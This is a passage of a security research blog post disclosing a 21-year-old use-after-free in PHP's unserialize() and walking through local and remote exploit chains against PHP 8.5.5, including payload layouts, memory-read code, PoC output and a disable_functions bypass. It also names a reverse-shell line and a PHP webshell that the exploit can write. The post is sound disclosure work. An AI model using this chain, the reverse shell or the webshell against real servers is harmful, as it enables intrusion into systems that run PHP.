{"slug": "mad-bugs-finding-and-exploiting-a-21-year-old-vulnerability-in-php", "title": "MAD Bugs: Finding and Exploiting a 21-Year-Old Vulnerability in PHP", "summary": "A security researcher has discovered and exploited a 21-year-old use-after-free vulnerability in PHP's `unserialize()` function, affecting code paths that have been vulnerable since PHP 5.1 shipped in 2005. The bug, caused by a missing `BG(serialize_lock)++` in `zend_user_unserialize()`, allows attackers to bypass `disable_functions` protections and achieve remote code execution against the latest PHP 8.5.5 release using approximately 2,000 HTTP requests. While the remote exploit requires specific preconditions including a class implementing `Serializable` with recursive unserialize behavior, the local exploit works without such caveats, marking the first public remote UAF exploit against PHP 8.x.", "body_md": "# MAD Bugs: Finding and Exploiting a 21-Year-Old Vulnerability in PHP\n\n### When this bug shipped, the dinosaurs had just gone extinct, only 64.999979 million years prior.\n\n*This post is part of MAD Bugs, our Month of AI-Discovered Bugs, where we pair frontier models with human expertise and publish whatever falls out.*\n\nBefore we dive in, one piece of news.\n\nStefan Esseris joining Calif. Stefan was \"the PHP security guy\" twenty years ago, so we thought it'd be fun to mark his arrival with a fresh unserialize UAF.\n\nPHP's `unserialize()`\n\nfunction has been a literal vulnerability factory for years. This is the story of how we found a new unserialize use-after-free in a code path that has been vulnerable since PHP 5.1, built a local exploit that bypasses `disable_functions`\n\nwith no `/proc`\n\naccess and no hardcoded offsets, then turned it into a remote exploit. The remote takes ~2,000 HTTP requests to shell, against the latest release PHP 8.5.5. As far as we can tell this is the first public remote UAF exploit against PHP 8.x.\n\nCaveat up front.The remote chain has a strong precondition on the target: it must have a class loaded that implements`Serializable`\n\n, calls`unserialize()`\n\nrecursively on inner data inside its own`unserialize()`\n\nmethod, and then grows the inner object's property table. The PoC ships such a class. Real-world code matching this pattern is uncommon, so this remote PoC has limited practical reach. The local exploit does not have these caveats.\n\nThe bug is a missing `BG(serialize_lock)++`\n\nin `zend_user_unserialize()`\n\n, a two-line omission whose code path has been vulnerable since PHP 5.1 shipped `Serializable`\n\nin 2005. We're also open-sourcing the audit skill that found it: [ /php-unserialize-audit](https://github.com/califio/skills).\n\nBut first, some history. The story of *why* this is still happening is more interesting than the bug itself.\n\n## A Brief History of Unserialize Misery\n\nPHP has been the hacker's playground for years. Half the chapter-one tricks in any web-hacking workshop were either invented in PHP or perfected against it: LFI via crafted `include`\n\npaths, RFI through `allow_url_include`\n\n, `phar://`\n\nmetadata deserialization, etc. But the most devastating attacks were use-after-free bugs in the engine itself: a working UAF in `unserialize()`\n\nwas a universal weapon against any application that fed user input through the function. The line of work started with Stefan Esser.\n\nHis 2007 [Month of PHP Bugs](https://developers.slashdot.org/story/07/02/20/0144218/march-to-be-month-of-php-bugs) included [MOPB-04-2007](https://web.archive.org/web/20071028092015/http://www.php-security.org/MOPB/MOPB-04-2007.html), the first public unserialize UAF. By [POC 2009](https://www.nds.rub.de/media/hfs/attachments/files/2010/03/hackpra09_fu_esser_php_exploits1.pdf) he had shown that `__destruct`\n\n/ `__autoload`\n\nmade object injection practical against real applications, and at [BlackHat 2010](https://media.blackhat.com/bh-us-10/presentations/Esser/BlackHat-USA-2010-Esser-Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits-slides.pdf) he introduced Property-Oriented Programming (POP) chains alongside the first full engine-level unserialize UAF exploit. Two distinct problems were now on the table: application-level POP chains, and engine-level memory corruption inside the deserializer.\n\n### Taoguang Chen and the UAF Gold Rush (2015–2016)\n\nIn 2015, Taoguang Chen ([@chtg57](https://x.com/chtg57)) started filing unserialize UAFs at a rate that suggested a methodology rather than individual bugs: DateTime, `__wakeup`\n\n, SplObjectStorage, session handlers, SplDoublyLinkedList, GMP, and more (CVE-2015-0273, -2787, -6834, -6835 through 2017).\n\nEvery one followed the same pattern. A magic method or custom unserialize handler would free a zval that was still registered in `var_hash`\n\n, the deserializer's table of parsed-so-far values; a later `R:N`\n\nback-reference in the stream would resolve to the freed slot; the attacker reclaimed it with controlled bytes and turned the type confusion into code execution. His [CVE-2015-0273 PoC](https://gist.github.com/chtg/ffc16863cbcff6d9a034) rode exactly that UAF bug class all the way to `zend_eval_string()`\n\non PHP 5.5.14.\n\n### Check Point and PHP 7 (2016)\n\nPHP 7 rewrote the Zend engine and the zval layout; the bug class came along for the ride. In 2016 Check Point's Yannay Livneh landed three more in the new engine ([CVE-2016-7479/-7480](https://cpr-zero.checkpoint.com/vulns/cprid-1003/), RCE), and Weisser, cutz, and Habalov [hacked Pornhub](https://www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/) via two GC-path UAFs, concluding:\n\n\"You should never use user input on unserialize. Assuming that using an up-to-date PHP version is enough to protect unserialize in such scenarios is a bad idea.\"\n\nTooling kept pace: Charles Fol's [PHPGGC](https://github.com/ambionics/phpggc) (2017) turned Esser's POP chains into an off-the-shelf gadget catalog for every major framework, and Sam Thomas's 2018 [ phar:// work](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf) made\n\n`file_exists()`\n\n, `fopen()`\n\n, `stat()`\n\n, and friends into deserialization sinks too.Two decades of research, dozens of CVEs, and a clear pattern. In August 2017, the PHP project made a decision.\n\n## \"Not a Security Issue\"\n\nOn August 2, 2017, the PHP internals mailing list [debated the \"Unserialize security policy\"](https://externals.io/message/100147). The outcome: **PHP would stop treating unserialize() memory corruption bugs as security vulnerabilities.**\n\nThe justification was that `unserialize()`\n\nwas never designed for untrusted input and developers should use `json_decode()`\n\ninstead; bugs would still be fixed, but no CVEs and no urgency. Chen, after two years of responsible disclosure, [was not amused](https://x.com/chtg57/status/895985604378279936). The PHP documentation to this day carries the warning:\n\n\"Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes.\"\n\n## The Bug\n\nAgainst that backdrop, we built a new audit skill, [ /php-unserialize-audit](https://github.com/califio/skills), by feeding Claude ~20 historical unserialize advisories (including Chen's 2015 SPL UAFs) and distilling them into a taxonomy of bug classes the model could go look for. Then we pointed it at PHP 8.5.5. One finding stood out:\n\n**Serializable reentrancy shares outer var_hash.**\n\nTo see why, three pieces of background.\n\n** var_hash** is the deserializer's table for resolving back-references. PHP's serialize format has\n\n`R:N;`\n\n(and `r:N;`\n\n) tokens that point at the N-th value parsed so far; the parser keeps a `zval*`\n\nper slot. A `zval`\n\nis a 16-byte cell: 8-byte `value`\n\n, 4-byte `u1`\n\n(type tag plus flags), 4-byte `u2`\n\n(repurposed by context). Scalars (IS_LONG, IS_DOUBLE, ...) live inline in `value`\n\n; refcounted types (IS_STRING, IS_OBJECT, IS_REFERENCE, ...) put a pointer to heap data there instead. For object properties, the zval lives inside the property HashTable's `arData`\n\nbuffer.**Property HashTable** packs all entries into one contiguous allocation. Each bucket is 32 bytes: a 16-byte zval (`val`\n\n), an 8-byte cached hash (`h`\n\n), and an 8-byte pointer to the key string (`key`\n\n). Buckets sit in `arData`\n\nin insertion order; a separate hash-index region routes lookups by `hash & nTableMask`\n\n. Collisions chain through a `next`\n\nfield tucked inside the zval's `u2`\n\nslot. The HT starts at `nTableSize=8`\n\nand doubles on overflow, which means allocating a fresh `arData`\n\n, copying buckets over, and `efree`\n\ning the old one.\n\n** BG(serialize_lock)** keeps\n\n`var_hash`\n\nprivate to each top-level `unserialize()`\n\n. Hook points (`__wakeup`\n\n, `__unserialize`\n\n, `__destruct`\n\n) bump the counter before user code runs; nested calls see the non-zero lock and allocate their own private `var_hash`\n\n.The bug: `zend_user_unserialize()`\n\n, the dispatch site for `Serializable::unserialize()`\n\n, skips the bump. A body that calls `unserialize($data)`\n\nrecursively therefore shares the outer's `var_hash`\n\n. Inner-parsed property zvals end up registered as outer slots, pointing into the inner-stream object's `arData`\n\n. If user code then mutates that object enough to trigger a property-table resize, `zend_hash_do_resize`\n\n`efree`\n\ns the old `arData`\n\nand a later `R:N;`\n\ndereferences freed memory.\n\n```\n// Zend/zend_interfaces.c:442-460: NO serialize_lock increment\nZEND_API int zend_user_unserialize(zval *object, zend_class_entry *ce,\n                                   const unsigned char *buf, size_t buf_len,\n                                   zend_unserialize_data *data)\n{\n    zval zdata;\n    ZVAL_STRINGL(&zdata, (char*)buf, buf_len);\n    // BG(serialize_lock)++ is MISSING here\n    zend_call_method_with_1_params(           // user PHP code runs\n        Z_OBJ_P(object), Z_OBJCE_P(object),  // without the lock\n        NULL, \"unserialize\", NULL, &zdata);\n    zval_ptr_dtor(&zdata);\n    ...\n}\n```\n\nEvery other user-code dispatch site during unserialization (`__wakeup`\n\n, `__unserialize`\n\n, `__destruct`\n\n) increments the lock. This one doesn't, and hasn't since PHP 5.1. It is essentially **Chen's pch-030 surviving into modern PHP**: the 2015-era fixes tightened individual SPL call sites but never touched the `Serializable`\n\ndispatch path.\n\n## Triggering the UAF\n\nThe smallest gadget that fires the bug looks like this:\n\n```\nclass CachedData implements Serializable {\n    public function serialize(): string { return ''; }\n    public function unserialize(string $data): void {\n        unserialize($data)->x = 0;\n    }\n}\n```\n\nThis is a synthetic gadget. For the **local** exploit it doesn't matter: an attacker running PHP code on the target controls the class definitions and ships the gadget in the same payload. For the **remote** exploit it's the precondition. The chain runs identically against any class with the right shape; we just haven't found one in real-world code.\n\n## Exploit Strategy\n\nEvery payload to `unserialize()`\n\nhas the same shape: a top-level array containing the gadget, 32 spray strings, and one or more `R:N`\n\nback-references. Gadget frees `arData`\n\n, one spray reclaims it, `R:N`\n\ndereferences; only the spray content and the `R:N`\n\nchoices change between steps.\n\n**Leak a heap address.** ASLR means the script doesn't know where anything lives. Exploit the UAF in a way that makes the engine write a fresh heap pointer through the freed slot, into a spray we control, and read it back. The leaked heap address becomes the anchor for everything else.**Build** Reuse the same gadget UAF with different spray content: a forged string pointing at any chosen address. When the parser resolves the back-reference, PHP treats the spray as a real string located at`uaf_read`\n\n.`addr`\n\n, and the script reads N bytes back. Combined with the heap anchor, this is enough memory introspection for everything that follows.**Build a fake** A real one has a class entry, a handlers vtable, and a function pointer at the right slot. Use`zend_object`\n\n.`uaf_read`\n\nto walk from the heap anchor through engine metadata until each of those values is known, then copy them into bytes shaped like a`zend_object`\n\n.**Dispatch a function on the fake object.** PHP follows the forged fields as if the object were real, lands on the forged function pointer, and calls it. That's the RCE.\n\nThe local and remote exploits follow this exact shape. They differ only in which fake object (`Closure`\n\nvs. `stdClass`\n\n), which dispatch path, and how far Step 3 has to walk to find the function pointer. The phases below trace each step.\n\n## Local Exploitation\n\nThe local chain runs all four steps in one PHP process, ~30 UAF triggers total. In-process round trips are microseconds, so request count only matters once we move to the remote chain.\n\n### Step 1: Leak a heap address\n\nThe payload to `unserialize()`\n\n:\n\n```\na:41:{ // slot 1: top-level array\n  i:0;        C:10:\"CachedData\":<len>:{ // slot 2\n                O:8:\"stdClass\":8:{ s:2:\"p0\";i:...; ... s:2:\"p7\";i:...; } // slot 3\n              }\n  i:1..i:32;  s:280:\"<spray bytes>\";   // slot 4..slot 32, each carries 8 IS_LONG markers\n  i:33..i:40; R:4..R:11;               // slot 33..slot 40, eight back-refs into slots 4..11\n}\n```\n\nWhat happens, in order:\n\n**Outer parser starts.** Slot 1 of`var_hash`\n\n= the top-level array.**Parses** Slot 2 = the new instance. Dispatches into`CachedData`\n\n.`zend_user_unserialize()`\n\n→`CachedData::unserialize($data)`\n\n,*without*bumping`BG(serialize_lock)`\n\n.**Gadget body runs** The inner parser sees the lock at 0 and shares the outer`unserialize($data)`\n\n.`var_hash`\n\n. Slot 3 = the inner stdClass; slots 4..11 = its 8 property zvals, each pointing into the stdClass's 320-byte`arData`\n\nallocation (a 64-byte hash index + 8 × 32-byte buckets, exactly the bin-320 slot size).**Gadget body runs** The 9th insert into a`->x = 0`\n\n.`nTableSize=8`\n\nHT.`zend_hash_do_resize`\n\nallocates a new arData at`nTableSize=16`\n\n, copies the 8 buckets, and`efree`\n\ns the original 320 bytes.**Slots 4..11 are now dangling.****Gadget returns. Outer parser resumes.** It allocates the 32 sprays (280 bytes content + 24-byte header, lands in bin-320). One reclaims the freed`arData`\n\nslot; its`val[]`\n\nnow overlays what used to be the stdClass's arData.The parser dereferences slot N (now pointing at spray content) and reads the IS_LONG marker.`R:N`\n\nresolves.`ZVAL_MAKE_REF`\n\nallocates a fresh`zend_reference`\n\n, copies the marker into it, and writes 16 bytes back:`(type=IS_REFERENCE, value=ptr_to_ref)`\n\n. Those 16 bytes land inside the spray.\n\nThe spray lands at the same start address as the old arData. Its `val[]`\n\nstarts at allocation+`0x18`\n\n(24-byte `zend_string`\n\nheader) while arData's buckets start at allocation+`0x40`\n\n(64-byte hash index), so bucket[k] overlays **spray offset 0x28 + k * 0x20**:\n\nThe IS_LONG markers sit at exactly those offsets, so each lands where var_hash slots 4..11 still point; `R:4`\n\nresolves to bucket[0] (p0, the first property inserted).\n\n```\nspray (input, 280 bytes):                  spray[k] (output, after the UAF):\n  +0x28: 00 00 BB BB ...    ← bucket[0]     +0x28: 80 4D 6B E2 16 7D 00 00   ← heap ptr (ZVAL_MAKE_REF)\n  +0x30: 04 00 00 00        ← IS_LONG       +0x30: 0A 00 00 00               ← IS_REFERENCE\n  +0x48: 01 00 BB BB ...    ← bucket[1]     +0x48: A0 4D 6B E2 16 7D 00 00   ← heap ptr\n  +0x50: 04 00 00 00        ← IS_LONG       +0x50: 0A 00 00 00               ← IS_REFERENCE\n  ...                                       ...\n```\n\nThe script walks `$result[1..32]`\n\nfor the spray with mutated markers and pulls eight bytes at the first changed offset. That's the leaked heap address; the chunk base is `addr & ~0x1FFFFF`\n\n. (Eight refs instead of one for redundancy; IS_LONG markers because non-refcounted values survive the parser's destructor walk.)\n\n### Step 2: Build `uaf_read`\n\n`uaf_read(addr, n)`\n\nreads N bytes at any address. Same gadget UAF as Step 1, same spray reclaim, just two changes to the payload: only one `R:4`\n\ninstead of eight, and the spray carries a forged `IS_STRING`\n\nzval at bucket[0]:\n\n```\na:34:{\n  i:0;  C:10:\"CachedData\":<len>:{ ...inner stdClass with 8 properties... }\n  i:1;  s:280:\"<spray bytes>\";\n  ...\n  i:32; s:280:\"<spray bytes>\";\n  i:33; R:4;\n}\n```\n\nEach spray's 280-byte content is binary, but the meaningful offsets are:\n\n```\nspray content (280 bytes):\n  +0x00..+0x27               (zeros, covers the 64-byte hash index region)\n  +0x28: <addr-0x18, 8B LE>  ← bucket[0].val: forged IS_STRING value\n  +0x30: 06 00 00 00 ...     ← bucket[0].type: IS_STRING\n  +0x48..+0xFF               (other buckets, IS_LONG markers, defensive)\n```\n\nThe gadget frees arData, a spray reclaims it, `R:4`\n\nreads the forged `(IS_STRING, value=addr-0x18)`\n\nzval at bucket[0], and `$result[33]`\n\nbecomes a PHP reference to a string whose `val[]`\n\nstarts at `addr`\n\n. This is the inverse of Step 1: there we ignored `$result[33]`\n\nand read the **spray** for the side-effect write; here we read `$result[33]`\n\ndirectly because we forged a shape PHP exposes through normal string operators.\n\n``` php\nprivate function uaf_read($addr, $n = 8) {\n    foreach ([0, 0x08, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200] as $bias) {\n        $target = $addr - 0x18 - $bias;\n        $spray  = $this->build_spray_isstring($target);\n        $result = @unserialize($this->build_payload($spray, 1));\n        $str    = $result[self::SPRAY_COUNT + 1];\n        if (is_string($str) && strlen($str) > $bias + $n - 1) {\n            return substr($str, $bias, $n);\n        }\n    }\n    return false;\n}\n```\n\nThe bias loop backs the forged-string base off in growing steps when `addr - 0x18`\n\nhappens to land in an unmapped page. `uaf_read`\n\nplus the heap anchor from Step 1 is enough memory introspection for everything that follows.\n\n### Step 3: Build the fake Closure\n\nStep 4 needs the engine to dispatch into a chosen C function (here `zif_system`\n\n, PHP's native implementation of `system()`\n\n). For that to work via a path PHP exposes to user code, the local exploit forges the fake `zend_object`\n\nas a **Closure** specifically.\n\nA Closure is PHP's runtime representation of `function() { ... }`\n\n: a `zend_object`\n\nfollowed by a `zend_function`\n\nwhose `func.handler`\n\nholds the C function pointer. Of the ways to make PHP call a value, only `$obj(...)`\n\ndispatches purely from runtime fields, and Closure is the kind with the fewest fields to forge: `ZEND_INIT_DYNAMIC_CALL`\n\nchecks `obj->ce == zend_ce_closure`\n\nand, if so, reads `func.handler`\n\ndirectly. So Step 4's trigger is `$result[33](\"id && uname -a\")`\n\n, and this step's job is to fill a buffer with bytes that pass for a real Closure: `ce = zend_ce_closure`\n\n, `handlers = closure_handlers`\n\n, `func.handler = zif_system`\n\n.\n\n**Find ce and handlers via the mega-string.**\n\nSpray 256 Closure objects (`$GLOBALS[\"_spray_$i\"] = function(){};`\n\n× 256), then call `uaf_read(chunk - 0x10, ...)`\n\n. ZendMM's chunk header at `chunk + 0x00`\n\nis a heap-struct pointer (~140 TB as an integer), which becomes the fake `zend_string`\n\n's `len`\n\nfield; `val[]`\n\nthen covers the whole 2 MB chunk in one round trip. Scan the chunk for `zend_object`\n\nGC patterns, group by `handlers`\n\naddress, and the largest cluster (256+ Closures) reveals `closure_handlers`\n\n(a .bss address) and `zend_ce_closure`\n\n(a brk-heap address).\n\n**Walk to EG.** `closure_handlers`\n\nlives near `executor_globals`\n\n(`EG`\n\n) in .bss because both are static globals in the same compilation unit. From `closure_handlers`\n\n, walk forward in 8-byte steps and `uaf_read`\n\nthree consecutive 8-byte pointers at each offset, looking for the (`function_table`\n\n, `class_table`\n\n, `zend_constants`\n\n) triplet. Triplet offset is `EG+0x1b0`\n\non 8.0–8.4 and `EG+0x1c8`\n\non 8.5+; try both. Once found, `EG = closure_handlers + delta`\n\nand `symbol_table = EG + 0x130`\n\n.\n\n**Walk to zif_system, around disable_functions.**\n\n`zend_disable_function()`\n\nonly patches the runtime `function_table`\n\ncopy; the source `zend_function_entry[]`\n\narray in the standard module's `.data.rel.ro`\n\nis untouched. So look up `var_dump`\n\n(not disabled, same module) in `function_table`\n\n, follow its `module`\n\npointer to `zend_module_entry`\n\n, then linearly scan the static `zend_function_entry[]`\n\nfor `\"system\"`\n\n.**Forge the bytes and locate them.** Allocate a plain PHP string in `$GLOBALS[\"_xfc\"]`\n\n, write the three values at `OFF_OBJ_CE`\n\n/ `OFF_OBJ_HANDLERS`\n\n/ `OFF_CLOSURE_FUNC + OFF_HANDLER`\n\n, then `uaf_read`\n\na DJBX33A lookup of `\"_xfc\"`\n\nin `EG.symbol_table`\n\nto get its `zend_string*`\n\n. That pointer plus 24 (the `val[]`\n\noffset) is the forged Closure's address.\n\n### Step 4: Dispatch\n\nReuse the gadget UAF one last time with a forged `(IS_OBJECT, value = fake_closure_addr)`\n\nzval at slot 4's bucket, with `IS_TYPE_REFCOUNTED | IS_TYPE_COLLECTABLE`\n\nset so the engine treats the value as a real refcounted object pointer. `$result[33]`\n\nbecomes what PHP believes is a Closure. Calling it dispatches:\n\n``` php\n$result[33](\"id && uname -a\")\n  -> ZEND_INIT_DYNAMIC_CALL: obj->ce == zend_ce_closure?  YES\n  -> ZEND_DO_FCALL:          handler = obj->func.handler   ← zif_system\n  -> zif_system(\"id && uname -a\")                          → shell\n```\n\nThe engine never realizes it's looking at fake bytes. Every field at every offset matches a real Closure layout; the only difference is provenance.\n\n### PoC\n\n10/10 runs under full ASLR on PHP 8.5.5.\n\n```\n$ ./run_poc.sh\n[*] Image:    php:8.5-cli\n[*] Disabled: system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec\n\n=== PHP Serializable var_hash UAF → RCE ===\n    Arch: aarch64    ADDR_MAX=0xffffffffffff    DELTA_MAX=0x600\n\n[*] Phase 1: Heap address leak via R: write-through...\n[+] zend_reference @ 0xffffa80b5b80\n\n[*] Phase 3: Finding object pointers (ce, handlers) in heap...\n[+] Found 3 object groups, best: count=257 ce=0xaaab16600360 handlers=0xaaaae0950e50\n\n[*] Phase 4: Locating executor globals...\n[+] function_table @ 0xaaab165c0160 (nNumUsed=1206, delta=0xd8, ft_off=+0x1c8)\n[+] EG @ 0xaaaae0950f28 (ft_off=+0x1c8), symbol_table @ 0xaaaae0951058 (nNumUsed=264)\n\n[*] Phase 5: Bypassing disable_functions...\n[!] system() is in disable_functions: system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec\n[*] Bypassing: resolving zif_system from module function entry table...\n[+] standard module @ 0xaaaae0931ca8 (via var_dump)\n[+] module functions @ 0xaaaae0865298\n[+] zif_system (from module) @ 0xaaaadf6fb7b0\n\n[*] Phase 6: Building the fake closure...\n\n[*] Phase 7: Locating the fake closure via EG.symbol_table...\n[+] Fake closure @ 0xffffa8082798\n\n[*] Phase 8: Type confusion and RCE...\n[+] Got fake Closure!\n\n──────────────────────────────────────────────────\nuid=0(root) gid=0(root) groups=0(root)\nLinux 51012e0a33e0 6.10.14-linuxkit #1 SMP Wed Sep 10 06:47:45 UTC 2025 aarch64 GNU/Linux\n\n──────────────────────────────────────────────────\n\n[+] Exploit complete.\n```\n\n## Remote Exploitation\n\nThe local exploit runs as PHP code on the target. The remote exploit reaches the same outcome using only HTTP POST requests against an application that passes attacker-controlled data to `unserialize()`\n\n.\n\nThe target: Docker `php:8.5-apache`\n\n, Debian-based, Apache mod_php prefork MPM, jemalloc-backed ZendMM. The vulnerable endpoint is the same one-liner gadget plus a single line that echoes the round-trip:\n\n```\nclass CachedData implements Serializable {\n    public function serialize(): string { return ''; }\n    public function unserialize(string $data): void {\n        unserialize($data)->x = 0;\n    }\n}\n\necho serialize(@unserialize($_REQUEST['cook']));\n```\n\n### What Changes Once You Go Remote\n\n**No PHP code runs after unserialize().** The endpoint's only post-deserialize work is\n\n`echo serialize($result)`\n\n, so the local `$result[33](...)`\n\nClosure dispatch is out. The forged object has to be reached by `serialize()`\n\nitself.**Worker crash is the oracle.** Apache prefork gives each request its own process. A bad address crashes that one worker; Apache spawns a replacement. Crashes are cheap because all workers fork from one parent *after* ASLR, so libphp, libc, and `EG`\n\nsit at the same place in every one of them; only transient heap state is per-worker, and the exploit re-leaks that as needed.\n\n**No symbol knowledge.** Every address is derived at runtime from ELF headers, `PT_DYNAMIC`\n\n, `.gnu_hash`\n\n, and the GOT.\n\n### Steps 1 and 2: heap leak and `uaf_read`\n\nIdentical to the local chain. Step 1 reads the `ZVAL_MAKE_REF`\n\nwrite-through out of the corrupted spray in the response body (**1 request**). Step 2 forges an IS_STRING zval at val offset `0x28`\n\nand reads `$result[33]`\n\nfrom the serialized response; the only difference is that each `uaf_read`\n\nis now one HTTP round-trip, so later request counts are essentially counting `uaf_read`\n\ncalls.\n\n### Step 3: Build the fake `zend_object`\n\nThe fake object is a `stdClass`\n\n, not a `Closure`\n\n(see Step 4 for why). Forging its bytes needs three runtime addresses (the `stdClass`\n\nclass entry, the spray string's own address that doubles as the fake vtable, and libc `system()`\n\n) plus one hardcoded constant (the offset of `get_properties_for`\n\ninside `zend_object_handlers`\n\n, namely `0xC8`\n\n). Without the local exploit's closure-cluster anchor, every one of those addresses has to come from raw binary metadata. The remote chain spends most of its time walking it. Five sub-walks follow (R-2 through R-6 in the script).\n\n#### 3a: Find libphp.so (R-2)\n\nThe local Closure-cluster trick doesn't work here (`unserialize()`\n\nrefuses to construct Closures), so the chain needs libphp's image base instead. Scan in 2 MB then 1 MB steps around the heap leak for `\\x7fELF`\n\n; each probe is one `uaf_read`\n\n, bad addresses crash a worker, good ones return bytes. Crashed probes cost one request and the next candidate goes to a fresh worker with the same memory map. **~50–120 requests.**\n\n#### 3b: Resolve symbols via `.gnu_hash`\n\n(R-3)\n\nWith libphp's ELF base, do what `ld.so`\n\ndoes: read the ELF header, find `PT_DYNAMIC`\n\n, walk `.dynamic`\n\nfor the addresses of `.dynsym`\n\n/ `.dynstr`\n\n/ `.gnu_hash`\n\n/ `.got.plt`\n\n, then run a standard `.gnu_hash`\n\nlookup (hash the name, check the bloom filter, walk the chain, read `Elf64_Sym.value`\n\n). Two values come out: ** executor_globals** (the\n\n`.bss`\n\naddress 3d needs) and **, the GOT where ld.so has already written every resolved libc address libphp ever called, which 3c will dump.**\n\n`PLTGOT`\n\n**~10 requests.**\n\n#### 3c: Find libc `system()`\n\nvia GOT dump (R-4)\n\nThis is the dominant phase. Step 4's vtable needs a libc `system`\n\npointer; libc's offset from libphp isn't stable across hosts, but libphp's GOT already contains resolved libc pointers. Dump it, cluster by proximity, and the largest non-libphp cluster is libc.\n\nDumping ~83 KB one `uaf_read`\n\nat a time would burn thousands of small reads, so the chain reuses the fake-`len`\n\ntrick. `.dynamic`\n\n's `DT_PLTRELSZ`\n\nentry has a `d_val`\n\nof ~82,872 (the PLT relocation table size), which conveniently spans the rest of `.dynamic`\n\nplus `.got.plt`\n\n. Base the forged `zend_string`\n\nat `&d_val - 0x10`\n\n, and that 8-byte field becomes `len`\n\n; `val[]`\n\nthen covers the whole GOT.\n\nThe response path still serializes results back in chunks, so 83 KB costs **~1,500–2,000 requests**. Once the GOT bytes are in hand, cluster the pointers by page, take the largest non-libphp group as libc, and run 3b's `.gnu_hash`\n\nlookup inside it for `system`\n\n.\n\n#### 3d: Find the `stdClass`\n\nclass entry (R-5)\n\nThe forged object's `ce`\n\nmust equal `zend_standard_class_def`\n\n. Read `EG.class_table`\n\nfrom 3b's `executor_globals`\n\n, DJBX33A-lookup `\"stdclass\"`\n\n, follow the bucket. **~55 requests.**\n\n#### 3e: Locate the spray slot (R-6)\n\nStep 4's forged `handlers`\n\nfield points into the spray itself, so the payload needs the spray's heap address `S`\n\n. Read ZendMM's per-chunk metadata to find the bin-320 page that held the freed allocation, then probe slots. **~10 requests.**\n\n### Step 4: Dispatch\n\nWhy `stdClass`\n\nand not `Closure`\n\n: nothing *calls* `$result[33]`\n\nhere; the only post-deserialize code is `echo serialize($result)`\n\n. So the dispatch has to come from `serialize()`\n\nitself, which walks each object via `obj->handlers->get_properties_for(obj)`\n\n(offset `0xC8`\n\nin `zend_object_handlers`\n\n). Point the forged object's `handlers`\n\nat the spray string itself, write libc `system()`\n\nat `+0xC8`\n\nof that fake vtable, and the call becomes `system(obj)`\n\nwhere `obj+0x00`\n\nis the shell command:\n\n``` php\nserialize($result)\n  -> php_var_serialize_intern(result[33])\n       type = IS_OBJECT\n       obj  = S+104 (inside spray string)\n  -> GC_ADDREF(obj)\n       (increments refcount at obj+0x00)\n  -> zend_get_properties_for(obj)\n       handlers[0xC8] = libc system()\n  -> system(obj)\n       executes the bytes at obj+0x00 as a shell command\n```\n\nThe trigger is one final use of the gadget UAF, with a forged `(IS_OBJECT, value = S)`\n\nzval at slot 4's bucket. **1 request.**\n\n`GC_ADDREF(obj)`\n\nincrements a uint32 at `obj+0x00`\n\n*before* the vtable call (it's the refcount field of `zend_refcounted_h`\n\n). The first byte of the shell command gets `+1`\n\napplied.\n\nThe exploit puts `\\x09`\n\n(tab) at `obj+0x00`\n\n. `GC_ADDREF`\n\nturns it into `\\x0A`\n\n(newline), which the shell ignores as leading whitespace. That leaves 14 usable bytes for the command. The default is `id>/dev/shm/x`\n\n(13 bytes), enough to prove RCE.\n\n### PoC\n\n3/3 successful runs against Docker `php:8.5-apache`\n\nwith full ASLR, container restart between each run, on both linux/amd64 and linux/arm64:\n\n```\n$ ./run_remote_poc.sh\n[*] Container up; endpoint: http://127.0.0.1:8081/remote_app.php\n\n============================================================\n  Full chain: heap -> ELF -> EG -> system() -> RCE\n  Target: 127.0.0.1:8081\n============================================================\n\n[Phase R-1] Heap leak\n  heap_ref = 0xffffb6a58240\n\n[Phase R-2] Finding libphp.so\n  ELF @ 0xffffb7000000 phnum=8 (8 reqs)\n  ELF @ 0xffffb7400000 phnum=9 (12 reqs)\n  ...\n  ELF @ 0xffffb8900000 phnum=9 (565 reqs)\n\n[Phase R-3] Resolving symbols via .gnu_hash\n  Trying ELF @ 0xffffb7400000 (phnum=9)\n    symbol 'executor_globals' not found at 0xffffb7400000\n  ...\n  Trying ELF @ 0xffffb3400000 (phnum=8)\n  libphp           = 0xffffb3400000\n  executor_globals = 0xffffb4b45888 (offset 0x1745888)\n  PLTGOT           = 0xffffb4a5ffe8\n\n[Phase R-4] Libc discovery via GOT dump\n    Reading GOT via DT_PLTRELSZ len=85392 (0x14d90)\n    External pointer groups: 23 total, 18 nearby\n      libc @ 0xffffb8690000, system @ 0xffffb86d9380\n  system() = 0xffffb86d9380\n\n[Phase R-5] EG and stdClass class entry\n    class_table = 0xaaaaefae7bb0\n  stdclass ce = 0xaaaaefbbf6d0\n\n[Phase R-6] Spray slot discovery\n  Found spray at slot 5 @ 0xffffb6a75640\n  S = 0xffffb6a75658\n\n[Phase R-7] Type confusion to libc system()\n  stdClass ce = 0xaaaaefbbf6d0\n  system()    = 0xffffb86d9380\n  Command (after GC_ADDREF): \\nid>/dev/shm/x\n  Sending RCE payload...\n\n[*] Total requests: 2375\n\n[*] Verifying inside container:\n============================================================\n  RCE SUCCESS: /dev/shm/x in php-uaf-poc\n    uid=33(www-data) gid=33(www-data) groups=33(www-data)\n============================================================\n```\n\nFor anything longer, the exploit just fires Step 4 repeatedly. R-1 through R-6 discover values that are stable across all prefork workers (they fork from one parent, so libphp, libc, the heap chunk, and the spray slot land at the same addresses everywhere), so once those phases are done each additional 14-byte `system()`\n\nis one more request. `--reverse LHOST:LPORT`\n\nassembles `bash -i >&/dev/tcp/LHOST/LPORT 0>&1`\n\nthree bytes at a time via `echo -n …>>w`\n\ninto the DocumentRoot and finishes with `bash w&`\n\n(~25 extra triggers); `--webshell`\n\ndoes the same to write `<?=eval($_REQUEST[1])?>`\n\nand then `mv w c.php`\n\n(~16 triggers).\n\n## Conclusion\n\nThe bug came out of Calif's [ /php-unserialize-audit](https://github.com/califio/skills) skill, the same framework behind our\n\n[FreeBSD kernel work](https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd). The skill itself was built by Claude: we handed it ~20 historical advisories and had it distill them into the taxonomy and 